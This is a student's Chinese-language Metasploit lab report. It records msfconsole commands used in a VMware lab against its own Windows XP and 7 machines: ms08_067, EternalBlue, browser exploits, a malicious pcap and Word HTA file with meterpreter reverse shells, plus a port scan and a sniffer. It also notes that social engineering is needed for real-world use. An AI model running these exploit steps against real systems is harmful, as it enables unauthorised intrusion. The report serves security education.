Exp6 MSF应用基础 20204308李文艳
1. 基础问题回答
1.1 用自己的话解释什么是exploit,payload,encode。
- exploit :指的是渗透攻击。 攻击应用或安全漏洞,如缓冲区溢出等,把整个恶意代码背过去,并进行安全漏洞攻击的整个过程。
- payload:指的是“有效载荷”。被搬运的东西,而这个“东西”我们目前接触到的是一段 shellcode(机器指令)。
- encode:指的是编码。一般使用编码器对“坏字符”进行变换,去除坏字符的影响。(不同环境下,坏字符不一样。)
- 原本code → 一段解码的程序 + 变换后的code (可进行迭代多次)
2. 实践总结与体会
通过本次实验,我进一步了解了msf平台能够实现的恶意攻击行为,了解了多个模块对应实现的功能,对exploit和payload有了更进一步的理解。通过不同的攻击方式,不断摸索,去解决出现的一个又一个问题,也不断的加深了我对每一个步骤的理解,回想起之前的实验,发现自己对一些命令的理解不是很深,只是单纯的照葫芦画瓢。通过仔细理解每一步的过程,可以发现自己的收获会很多。此外,在本次实验中,让我感触最深的是攻击靶机的难度挺高,很多漏洞即使是最新的,查看相关的漏洞信息在自己主机win11上也均修复,靶机上老版本的软件大多也找不到。
3. 离实战还缺些什么技术或步骤?
首先缺少的是我们需要利用社会工程学,引诱被攻击用户在靶机上打开对应的文件或链接。其次是如何让这些文件或链接做得比较真实,让被攻击者无法察觉到异常。再者搜集靶机的漏洞信息至关重要,只有搜集到了其主机存在的漏洞才能进行下一步的攻击。
4.实践过程记录
4.0 安装靶机
4.0.1 安装windows xp
安装指南:
该网页可以下载我们所需的操作系统镜像文件,如xp,win7,win10都有。
下载镜像文件,镜像资源站 ,用类似的方式可以下载win7。具体安装步骤见[xp系统安装教程]。(https://blog.csdn.net/linxinfa/article/details/112768896)
特别注意:考虑到安全问题,下载后一定要进行哈希函数比对,以免下载木马、病毒等。
对比了下载文件和网站上的哈希值一致,在一定程度上可信任。
安装xp以后,由于xp无法直接将宿主机上的文件拖拽至xp中,因此需要利用vm tools 中共享文件夹的功能。
(若成功显示共享文件夹,则跳过该步骤)
若发现xp中没有共享文件夹的情况(如图),可通过重新安装vmware tools,即可解决该问题。
4.1 主动攻击实践
4.1.1 利用ms08_067漏洞攻击Windows XP
攻击方式:ms08_067
靶机:Windows XP sp3
xp系统打开cmd,再输入ipconfig
指令查看其IP。
xp:192.168.191.129
kali:192.168.191.128
查看两台主机网络是否互通,xp ping kali,发现网络是互通的。
攻击者试探靶机是否存在此漏洞 nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.191.129
存在漏洞信息。
启动 msfconsole
,输入search ms08_067
查找该漏洞使用的攻击模块,攻击模块为exploit/windows/smb/ms08_067_netapi
输入info exploit/windows/smb/ms08_067_netapi
查看模块具体的信息。
use exploit/windows/smb/ms08_067_netapi //选择使用的渗透模块
set payload generic/shell_reverse_tcp //使用的payload
输入show options,查看需要设置的参数。
set RHOSTS 192.168.191.129 //设置靶机IP
结果是能够发现靶机的型号,但无法建立连接。显示渗透已完成,但没有建立会话。换了多个攻击模块和payload都是一样的问题。和另一个课题负责人沟通发现我们都遇到了相同的问题
4.1.2 利用ms17_010_eternalblue漏洞攻击Windows 7
win7 IP :192.168.191.130
首先,选择auxiliary的scanner扫描功能,检测靶机是否存在smb_ms17_010
的漏洞。
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.191.130 //靶机IP
exploit
对靶机进行攻击,设置参数,发现攻击主机的IP已默认填写好
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.191.130 靶机IP //设置靶机IP
exploit
攻击成功获得shell,输入ipconfig
和dir
4.2 针对浏览器的攻击
4.2.1 利用ms06_013_createtextrange漏洞攻击Windows XP SP3的IE浏览器
在GitHub上查看ms06_013_createtextrange
模块源代码,了解其功能。
设计攻击模块及参数
use exploit/windows/browser/ms06_013_createtextrange //选择使用exploit漏洞
set payload windows/meterpreter/reverse_tcp //选择payload
show options //查看所需调的参数
exploit //开始攻击
在XP的IE浏览器打开http://192.168.191.128:8080/XJIze0b
,浏览器开始从0-100计时。
4.2.2 利用chrome_filereader_uaf漏洞攻击Windows 7的chrome浏览器
输入search cve:2021 type:exploit and browser platform:-win7
查找2021年适用于win7系统的浏览器攻击模块,从2021年依次寻找,最后选择了2019年利用chrome浏览器的攻击。此处使用攻击模块为 exploit/windows/browser/chrome_filereader_uaf
输入info exploit/windows/browser/chrome_filereader_uaf
,查看该模块功能。
通过description我们可以了解其功能:
此漏洞利用了在 Windows 7 x86 上运行的 Google Chrome 72.0.3626.119 中的释放后使用漏洞FileReader.readAsArrayBuffer 函数可以返回多个引用到同一个 ArrayBuffer 对象,可以释放和覆盖该对象与喷涂的物体。可以使用悬空的 ArrayBuffer引用访问喷涂的对象,允许从Javascript。这用于在WebAssembly对象。shellcode在Chrome中执行沙盒,因此您必须显式禁用有效负载的沙盒才能成功。
没有看懂hhh直接看最后会咋样吧
开始使用对应模块进行攻击。
use exploit/windows/browser/chrome_filereader_uaf //选择使用的模块
set payload windows/meterpreter/reverse_tcp //选择使用的payload
show options //查看需要设置的参数
set LHOST 192.168.191.128 //设置攻击机IP
exploit //开始攻击
在win7的chrome浏览器上http://192.168.191.128:8080/JtOzapjbvUHd1
win7打开相应网页后,攻击机上显示如下:
最后,win7出现了浏览器崩溃的情况,同时出现了计算机内存不足的提示。没用成功获取shell可能与下载的最新版的chrome有关。
4.3 针对客户端的攻击
4.3.1 利用wireshark_mpeg_overflow攻击Windows XP
靶机:Windows XP sp3
客户端平台:wireshark
输入search wireshark
寻找与wireshark有关的客户端攻击。
选择使用exploit/windows/fileformat/wireshark_mpeg_overflow
模块,查看该模块的功能info exploit/windows/fileformat/wireshark_mpeg_overflow
,适用于攻击xp sp3。
在Github上查看其漏洞描述。
开始攻击,设置参数。
use windows/fileformat/wireshark_packet_dect
set payload windows/meterpreter/reverse_tcp //tcp反向回连
show options
exploit
在/root/.msf4/local/mpeg_overflow.pcap
处生成了mpeg_overflow.pcap
文件,由于我们无法直接访问root文件,因此我们输入命令cp -r "/root/.msf4/local/mpeg_overflow.pcap" "/home/kali/Desktop/"
,将其复制到桌面上,因而避免了我们无法直接访问root文件的问题(下面也还有类似的问题)。再将文件mpeg_overflow.pcap
放至主机中与xp的共享文件夹中,并在xp中打开。发现出现如下错误警告。
之后进行回连也未成功。
4.3.2 利用office_word_hta攻击Windows 7 sp1
靶机:Windows 7 sp1
客户端平台:office word
寻找攻击win7针对客户端的exploit,输入search cve:2017 type:exploit fileformat platform:-win7
,选择基于word客户端攻击的exploit/windows/fileformat/office_word_hta
模块。
设置相关参数,输入以下指令:
use exploit/windows/fileformat/office_word_hta
set payload windows/meterpreter/reverse_tcp
show options
run
在/root/.msf4/local/msf.doc
处生成了msf.doc文件,由于我们无法直接访问root文件,因此我们输入命令cp -r "/root/.msf4/local/msf.docx" "/home/kali/Desktop/"
,将其复制到桌面上,然后在通过共享文件夹复制到win7,并在win7中打开该word文件,点击“是”。
(若靶机上没用word,可以通过在浏览器上打开生成的default.hat
的URL,也可获得shell,后续步骤同上,会在kali出现获得sessions的提示。打开对应的URL会显示如下图,点击“运行”。其实,二者本质是一样的,打开word只不过是通过word运行了default.hta程序。)
kali显示获得主机连接,并提示Meterpreter session 3
已打开,输入sessions -i 3
命令,开始对session 3进行监听获得其shell窗口。
输入sysinfo
查看靶机系统相关信息,可知靶机为win7 sp1。输入exit
结束shell窗口。
4.4 成功应用任何一个辅助模块
4.4.1 端口扫描:auxiliary/scanner/portscan
对XP主机进行TCP端口扫描。
use auxiliary/scanner/portscan/tcp // 选择tcp脚本
show options //查看需要调的参数
set Rhosts 192.168.191.129 //设置靶机IP
exploit
最后可以得出,XP主机开放的TCP端口有三个,分别是135端口、139端口、445端口。
4.4.2 嗅探:auxiliary/sniffer/psnuffle
靶机:Windows XP
在kali的msfconsole中输入以下代码
嗅探:可以获取网络上流经的数据包。
use auxiliary/sniffer/psnuffle //选择攻击操作
show options
exploit
在靶机上访问IE浏览器,即被嗅探到。